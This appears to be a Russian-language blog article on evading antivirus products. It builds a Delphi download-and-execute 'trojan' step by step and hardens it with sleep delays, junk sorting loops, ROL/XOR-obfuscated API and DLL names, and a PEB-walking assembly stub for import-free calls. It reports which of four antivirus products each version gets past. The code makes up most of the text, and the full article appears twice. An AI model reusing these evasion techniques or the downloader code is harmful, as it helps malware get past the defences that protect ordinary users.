Сегодня хотелось бы немного уделить внимание антивирусной защите как таковой.
Мы проведем несколько простых опытов с помощью программирования и посмотрим на «крутость» антивирусных систем.
Значит берем «фантастическую четверку» : нод,касперский,др.вэб и аваст.
Извращаться будем уже как всегда с известным кодом: скачивание+запуск файла.
Я буду использовать частный сервис проверки которые не отсылает копии АВ компаниям.(акк мне дал один добрый человечек на ачате)
Начнем.
Сразу же напишем код и закинем его на проверку.
program Project2;
uses
windows,urlmon,shellapi;
begin
URLDownloadToFile(nil,'http://yandex.ru','C:\file.html',0,nil);
shellexecute(0,'open','C:\file.html',0,0,SW_SHOW);
end.
Смотрим что получается:
http://4put.ru/pictures/max/389/1195254.jpg
не знаю почему, но аваст тупо отморозился, что уже как бы «намекает».Остальные справились безукоризненно.
Дальше мы начнем немного «разбавлять» код.
Дополним его небольшим циклом
program Project2;
uses
windows,urlmon,shellapi;
var i:integer;
begin
for i:=1 to 10 do
begin
sleep(1000);
GetTickCount;
sleep(1000);
GetModuleHandle(0);
end;
URLDownloadToFile(nil,'http://yandex.ru','C:\file.html',0,nil);
shellexecute(0,'open','C:\file.html',0,0,SW_SHOW);
end.
Смотрим результаты:
http://4put.ru/pictures/max/389/1195256.jpg
Аваст-то же самое.
Отечественный производитель справился с задачей,но посмотрите НОД не смог (не стал) эмулировать из-за задержек и пропустил троян!!!
/ небольшая справочка,чисто для прикола: если в цикле использовать не 10 ,а $989680 то и каспер отпадает(но не др.вэб) но т.к. это занимает СЛИШКОМ много времени,то я его не использую,но можно попробовать подставить меньше секунды слипы,проверьте если хотите,поиграйтесь\
Идем дальше…
Добавим в код сортировку массива методом пузырька:
program Project2;
uses
windows,urlmon,shellapi;
var i,n,p:integer;
a: array[1..100001] of integer;
b:boolean;
begin
for i:=1 to 10 do
begin
sleep(1000);
GetTickCount;
sleep(1000);
GetModuleHandle(0);
end;
begin
randomize;
for i:=1 to 100001 do
a[i]:=random(512)+5;
n:= Length(a);
if n < 2 then exit;
repeat
b:= false;
Dec(n);
for i:= 0 to n-1 do
if a[i] > a[i+1] then
begin
p:= a[i];
a[i]:= a[i+1];
a[i+1]:= p;
b:= true;
end;
until b;
end;
URLDownloadToFile(nil,'http://yandex.ru','C:\file.html',0,nil);
shellexecute(0,'open','C:\file.html',0,0,SW_SHOW);
end.
Смотрим что получается:
http://4put.ru/pictures/max/389/1195258.jpg
Отпал теперь и др.вэб
пока отечественные продукты проявили себя лучше всех,и судя по этим 3 опытам касперский имеет довольно мощную эвристику.
Следующая фишка меня можно сказать даже порадовала.Сделал я так:
сперва зашифровал библиотеки и функции побитовым сдвигом влево (рол) и… О да это было прекрасно:
program Project2;
uses
windows,urlmon,shellapi,idglobal;
var i,n,p:integer;
a: array[1..100001] of integer;
b:boolean;
h:Thandle;
DownLoad: function(p1:IUnknown;url:PAnsiChar;tofile: PAnsiChar;reserved:dword;lpfncb:pointer):HResult;stdcall;
exec: function(p1:integer;p2:pchar;p3:pchar;p4,p5,p6:integer):integer;stdcall;
function RORR(s:string):string;
var x:integer;
begin
for x := 1 to length(s) do
s[x] := char(ROR(byte(s[x]) ,1));
result:=s;
end;
function XORR(s:string):string;
var x:integer;
begin
for x := 1 to length(s) do
s[x] := chr(ord(s[x]) xor $0E);
result:=s;
end;
begin
for i:=1 to 10 do
begin
sleep(1000);
GetTickCount;
sleep(1000);
GetModuleHandle(0);
end;
begin
randomize;
for i:=1 to 100001 do
a[i]:=random(512)+5;
n:= Length(a);
if n < 2 then exit;
repeat
b:= false;
Dec(n);
for i:= 0 to n-1 do
if a[i] > a[i+1] then
begin
p:= a[i];
a[i]:= a[i+1];
a[i+1]:= p;
b:= true;
end;
until b;
end;
h:=LoadLibrary(pchar(Rorr(Xorr('дкЦФРТRЖЦЦ'))));
@DownLoad:=getprocaddress(h,pchar(rorr(xorr('¤Є–†РаТЦРМЖ¦Р‚ЬЦДЊ'))));
DownLoad(nil,pchar('http://yandex.ru'),pchar('C:\file.html'),0,nil);
freelibrary(h);
h:=LoadLibrary(pchar(rorr(xorr('иЮДЦЦhjRЖЦЦ'))));
@exec:=getprocaddress(h,pchar(rorr(xorr('ЁЮДЦЦ„юДИджДЊ'))));
exec(0,'open','C:\file.html',0,0,SW_SHOW);
end.
http://4put.ru/pictures/max/389/1195260.jpg
Результат (ёмаё!):
поясню код в этом моменте немного:
мы зашифровали rol-ом названия библиотек где содержатся эти функции и сами названия функций (не забываем,что мы их вызываем с дополнительной «А» (shellexecutea) ну и написал две функции.Принцип легок:
обратная функция ксору-ксор, обратная функция ролу-рор, соответственно я сначала сдвигал биты ролом,а потом ксорил получившейся результат, при дешифрации соответственно обратный порядок-разксорили и потом рором сдвиг сделали. вот и все.прототипы «новых» функций смотрим в мсдн и копируем параметры.
============================================================================
В общем то есть еще один метод который позволяет опустить наших «гигантов» АВ индустрии -это вызов без использования импорта.Я его тут полностью расписывать не стану.
через ПЭБ получаем указатель на «главную» библиотеку:
такой код:
asm
mov eax, dword ptr fs:[30h]
mov eax, dword ptr [eax+0ch]
mov eax, dword ptr [eax+1ch]
mov eax, [eax]
mov eax, dword ptr [eax+08h]
mov p, eax
end;
в семерке получается указатель на kernelbase, хотя если я не ошибаюсь там есть все теже функции что и в kernel32. Так вот смысл в том что мы должны получить прототип LoadLibrary , а дальше думаю догадались- так же с помощью шифрованных функций и имен длл вызывать нужные функции. в итоге все наши крутые перцы нервно курят в стороночке. так же можно и с getprocadress сделать(даже немного и с seh поиграть).
Итоги подведем:
Др.вэб и касперский оказались «самыми нормальными», вообще у меня стоит др.вэб каспера не поставил ввиду того что похавать оперативу он любит,хотя думаю если кошерно настроить то будет очень даже ничего.
Статья не рекламирует какой либо продукт и не усомняет вас в выборе какого либо АВ средства (хотя кому я вру-конечно же усомняет) это я к тому что бы крикуны которые восхваляют нод32 спеси то поубавили, ибо скорость работы еще не залог успеха,в чем мы собственно убедились.И так же мораль статьи-если против вас работает мудрый хакер,то все антивирусы идут далеко и надолго,лучшая защита-ваша голова (желательна дополнительная надстройка-моск). Но если выбирать для простенькой защиты на проно сайтах то я бы не взял нод или аваст.
Вот собсно и все) спасибо за внимание.
all rights reserved. DooD
Мы проведем несколько простых опытов с помощью программирования и посмотрим на «крутость» антивирусных систем.
Значит берем «фантастическую четверку» : нод,касперский,др.вэб и аваст.
Извращаться будем уже как всегда с известным кодом: скачивание+запуск файла.
Я буду использовать частный сервис проверки которые не отсылает копии АВ компаниям.(акк мне дал один добрый человечек на ачате)
Начнем.
Сразу же напишем код и закинем его на проверку.
program Project2;
uses
windows,urlmon,shellapi;
begin
URLDownloadToFile(nil,'http://yandex.ru','C:\file.html',0,nil);
shellexecute(0,'open','C:\file.html',0,0,SW_SHOW);
end.
Смотрим что получается:
http://4put.ru/pictures/max/389/1195254.jpg
не знаю почему, но аваст тупо отморозился, что уже как бы «намекает».Остальные справились безукоризненно.
Дальше мы начнем немного «разбавлять» код.
Дополним его небольшим циклом
program Project2;
uses
windows,urlmon,shellapi;
var i:integer;
begin
for i:=1 to 10 do
begin
sleep(1000);
GetTickCount;
sleep(1000);
GetModuleHandle(0);
end;
URLDownloadToFile(nil,'http://yandex.ru','C:\file.html',0,nil);
shellexecute(0,'open','C:\file.html',0,0,SW_SHOW);
end.
Смотрим результаты:
http://4put.ru/pictures/max/389/1195256.jpg
Аваст-то же самое.
Отечественный производитель справился с задачей,но посмотрите НОД не смог (не стал) эмулировать из-за задержек и пропустил троян!!!
/ небольшая справочка,чисто для прикола: если в цикле использовать не 10 ,а $989680 то и каспер отпадает(но не др.вэб) но т.к. это занимает СЛИШКОМ много времени,то я его не использую,но можно попробовать подставить меньше секунды слипы,проверьте если хотите,поиграйтесь\
Идем дальше…
Добавим в код сортировку массива методом пузырька:
program Project2;
uses
windows,urlmon,shellapi;
var i,n,p:integer;
a: array[1..100001] of integer;
b:boolean;
begin
for i:=1 to 10 do
begin
sleep(1000);
GetTickCount;
sleep(1000);
GetModuleHandle(0);
end;
begin
randomize;
for i:=1 to 100001 do
a[i]:=random(512)+5;
n:= Length(a);
if n < 2 then exit;
repeat
b:= false;
Dec(n);
for i:= 0 to n-1 do
if a[i] > a[i+1] then
begin
p:= a[i];
a[i]:= a[i+1];
a[i+1]:= p;
b:= true;
end;
until b;
end;
URLDownloadToFile(nil,'http://yandex.ru','C:\file.html',0,nil);
shellexecute(0,'open','C:\file.html',0,0,SW_SHOW);
end.
Смотрим что получается:
http://4put.ru/pictures/max/389/1195258.jpg
Отпал теперь и др.вэб
пока отечественные продукты проявили себя лучше всех,и судя по этим 3 опытам касперский имеет довольно мощную эвристику.
Следующая фишка меня можно сказать даже порадовала.Сделал я так:
сперва зашифровал библиотеки и функции побитовым сдвигом влево (рол) и… О да это было прекрасно:
program Project2;
uses
windows,urlmon,shellapi,idglobal;
var i,n,p:integer;
a: array[1..100001] of integer;
b:boolean;
h:Thandle;
DownLoad: function(p1:IUnknown;url:PAnsiChar;tofile: PAnsiChar;reserved:dword;lpfncb:pointer):HResult;stdcall;
exec: function(p1:integer;p2:pchar;p3:pchar;p4,p5,p6:integer):integer;stdcall;
function RORR(s:string):string;
var x:integer;
begin
for x := 1 to length(s) do
s[x] := char(ROR(byte(s[x]) ,1));
result:=s;
end;
function XORR(s:string):string;
var x:integer;
begin
for x := 1 to length(s) do
s[x] := chr(ord(s[x]) xor $0E);
result:=s;
end;
begin
for i:=1 to 10 do
begin
sleep(1000);
GetTickCount;
sleep(1000);
GetModuleHandle(0);
end;
begin
randomize;
for i:=1 to 100001 do
a[i]:=random(512)+5;
n:= Length(a);
if n < 2 then exit;
repeat
b:= false;
Dec(n);
for i:= 0 to n-1 do
if a[i] > a[i+1] then
begin
p:= a[i];
a[i]:= a[i+1];
a[i+1]:= p;
b:= true;
end;
until b;
end;
h:=LoadLibrary(pchar(Rorr(Xorr('дкЦФРТRЖЦЦ'))));
@DownLoad:=getprocaddress(h,pchar(rorr(xorr('¤Є–†РаТЦРМЖ¦Р‚ЬЦДЊ'))));
DownLoad(nil,pchar('http://yandex.ru'),pchar('C:\file.html'),0,nil);
freelibrary(h);
h:=LoadLibrary(pchar(rorr(xorr('иЮДЦЦhjRЖЦЦ'))));
@exec:=getprocaddress(h,pchar(rorr(xorr('ЁЮДЦЦ„юДИджДЊ'))));
exec(0,'open','C:\file.html',0,0,SW_SHOW);
end.
http://4put.ru/pictures/max/389/1195260.jpg
Результат (ёмаё!):
поясню код в этом моменте немного:
мы зашифровали rol-ом названия библиотек где содержатся эти функции и сами названия функций (не забываем,что мы их вызываем с дополнительной «А» (shellexecutea) ну и написал две функции.Принцип легок:
обратная функция ксору-ксор, обратная функция ролу-рор, соответственно я сначала сдвигал биты ролом,а потом ксорил получившейся результат, при дешифрации соответственно обратный порядок-разксорили и потом рором сдвиг сделали. вот и все.прототипы «новых» функций смотрим в мсдн и копируем параметры.
============================================================================
В общем то есть еще один метод который позволяет опустить наших «гигантов» АВ индустрии -это вызов без использования импорта.Я его тут полностью расписывать не стану.
через ПЭБ получаем указатель на «главную» библиотеку:
такой код:
asm
mov eax, dword ptr fs:[30h]
mov eax, dword ptr [eax+0ch]
mov eax, dword ptr [eax+1ch]
mov eax, [eax]
mov eax, dword ptr [eax+08h]
mov p, eax
end;
в семерке получается указатель на kernelbase, хотя если я не ошибаюсь там есть все теже функции что и в kernel32. Так вот смысл в том что мы должны получить прототип LoadLibrary , а дальше думаю догадались- так же с помощью шифрованных функций и имен длл вызывать нужные функции. в итоге все наши крутые перцы нервно курят в стороночке. так же можно и с getprocadress сделать(даже немного и с seh поиграть).
Итоги подведем:
Др.вэб и касперский оказались «самыми нормальными», вообще у меня стоит др.вэб каспера не поставил ввиду того что похавать оперативу он любит,хотя думаю если кошерно настроить то будет очень даже ничего.
Статья не рекламирует какой либо продукт и не усомняет вас в выборе какого либо АВ средства (хотя кому я вру-конечно же усомняет) это я к тому что бы крикуны которые восхваляют нод32 спеси то поубавили, ибо скорость работы еще не залог успеха,в чем мы собственно убедились.И так же мораль статьи-если против вас работает мудрый хакер,то все антивирусы идут далеко и надолго,лучшая защита-ваша голова (желательна дополнительная надстройка-моск). Но если выбирать для простенькой защиты на проно сайтах то я бы не взял нод или аваст.
Вот собсно и все) спасибо за внимание.
all rights reserved. DooD
Комментариев нет:
Отправить комментарий